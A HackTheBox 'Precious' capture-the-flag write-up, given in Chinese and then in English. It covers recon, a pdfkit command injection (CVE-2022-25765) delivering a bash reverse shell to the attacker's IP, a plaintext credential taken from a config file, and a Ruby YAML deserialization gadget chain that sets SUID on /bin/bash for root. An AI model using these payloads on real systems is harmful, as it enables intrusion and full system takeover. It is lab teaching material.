HackTheBox Precious Writeup
HackTheBox Precious 是一台简单难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。
htb precious
Information Gathering
# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds
Vulnerability Analysis
通过burpsuite我们得知web的Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15,X-Runtime: Ruby
在本地搭建网址环境
➜ Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
就可以得到一个文件
➜ Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number : 13.36
File Name : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2025:12:31 07:31:33+00:00
File Access Date/Time : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time : 2025:12:31 07:31:59+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
发现ruby库使用的是pdfkit v0.8.6
Exploitation (User Flag)
根据搜索可知CVE-2022-25765
假设后端是
kit = PDFKit.new(url)
kit.to_file("output.pdf")
当使用PDFKit它实际上是在后台拼接了一串 Shell 命令,然后调用系统的 wkhtmltopdf 去执行任务。
wkhtmltopdf http://10.10.14.5/?name= sleep 5 output.pdf
所以构造payload
http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`
输入到网站即可获取shell
在主目录/home/ruby/.bundle/config中寻找到henry:Q3c1AqGHtoI0aXAYFH
Privilege Escalation (Root Flag)
henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
可以看到运行此程序会在当前目录下检查是否含有dependencies.yml文件
致命漏洞:YAML.load,在 Ruby 中,YAML.load 是不安全的。它不仅仅是“读取文本数据”,它会实例化 YAML 数据中描述的任何 Ruby 类/对象。
攻击原理:
- 如果你在
dependencies.yml中构造了一个特殊的 Ruby 对象结构(这就叫“序列化数据”)。 - 当脚本运行到
YAML.load时,它会尝试在内存中把这个对象“复活”(反序列化)。 - 在这个“复活”的过程中,如果对象里包含某些特定的链式调用(Gadget Chain),Ruby 就会被迫执行系统命令。
通过此文章得到如何构造这个yaml
henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
所以使用
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements: # 伪装成Gem依赖需求
!ruby/object:Gem::Package::TarReader # 让TarReader 以为自己在读一个压缩包
io: &1 !ruby/object:Net::BufferedIO # 核心触发器
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter # BufferedIO的特性debug_output,调试信息打印出来
socket: &1 !ruby/object:Gem::RequestSet # 告诉ruby,要打印调试信息,就调用socket
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel' # 告诉ruby,socket对象其实是Kernel
method_id: :system # 告诉ruby,调用的方法名:system
git_set: id # 执行的命令
method_id: :resolve
payload
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /binbash
method_id: :resolve
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
....
.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801
Lessons Learned
HTB precious
Information Gathering
# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds
Vulnerability Analysis
Through Burp Suite, we learn the web server header is: nginx/1.18.0 + Phusion Passenger(R) 6.0.15, with X-Runtime: Ruby.
Setting up a local website environment.
➜ Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
This yields a file.
➜ Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number : 13.36
File Name : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2025:12:31 07:31:33+00:00
File Access Date/Time : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time : 2025:12:31 07:31:59+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
We discover the Ruby library used is pdfkit v0.8.6.
Exploitation (User Flag)
Based on search, we find CVE-2022-25765.
Assume the backend code is:
kit = PDFKit.new(url)
kit.to_file("output.pdf")
When using PDFKit, it actually constructs a shell command in the background and then calls the system’s wkhtmltopdf to execute the task.
wkhtmltopdf http://10.10.14.5/?name= sleep 5 output.pdf
So we construct the payload:
http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`
Enter this into the website to obtain a shell.
In the home directory /home/ruby/.bundle/config, we find henry:Q3c1AqGHtoI0aXAYFH.
Privilege Escalation (Root Flag)
henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
We can see this program checks if a dependencies.yml file exists in the current directory.
The critical vulnerability is YAML.load. In Ruby, YAML.load is insecure. It doesn’t just “read text data”; it will instantiate any Ruby class/object described in the YAML data.
Attack Principle:
- If you construct a special Ruby object structure in
dependencies.yml(this is called “serialized data”). - When the script executes
YAML.load, it attempts to “resurrect” (deserialize) this object in memory. - During this “resurrection” process, if the object contains certain specific chained calls (Gadget Chain), Ruby is forced to execute system commands.
From this article, we learn how to construct this YAML.
henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
So we use:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements: # Disguised as a Gem dependency requirement
!ruby/object:Gem::Package::TarReader # Make TarReader think it's reading an archive
io: &1 !ruby/object:Net::BufferedIO # Core trigger
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter # BufferedIO's debug_output feature prints debug info
socket: &1 !ruby/object:Gem::RequestSet # Tell Ruby to call socket when printing debug info
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel' # Tell Ruby the socket object is actually Kernel
method_id: :system # Tell Ruby the method name to call is :system
git_set: id # The command to execute
method_id: :resolve
Payload:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /bin/bash
method_id: :resolve
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
....
.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801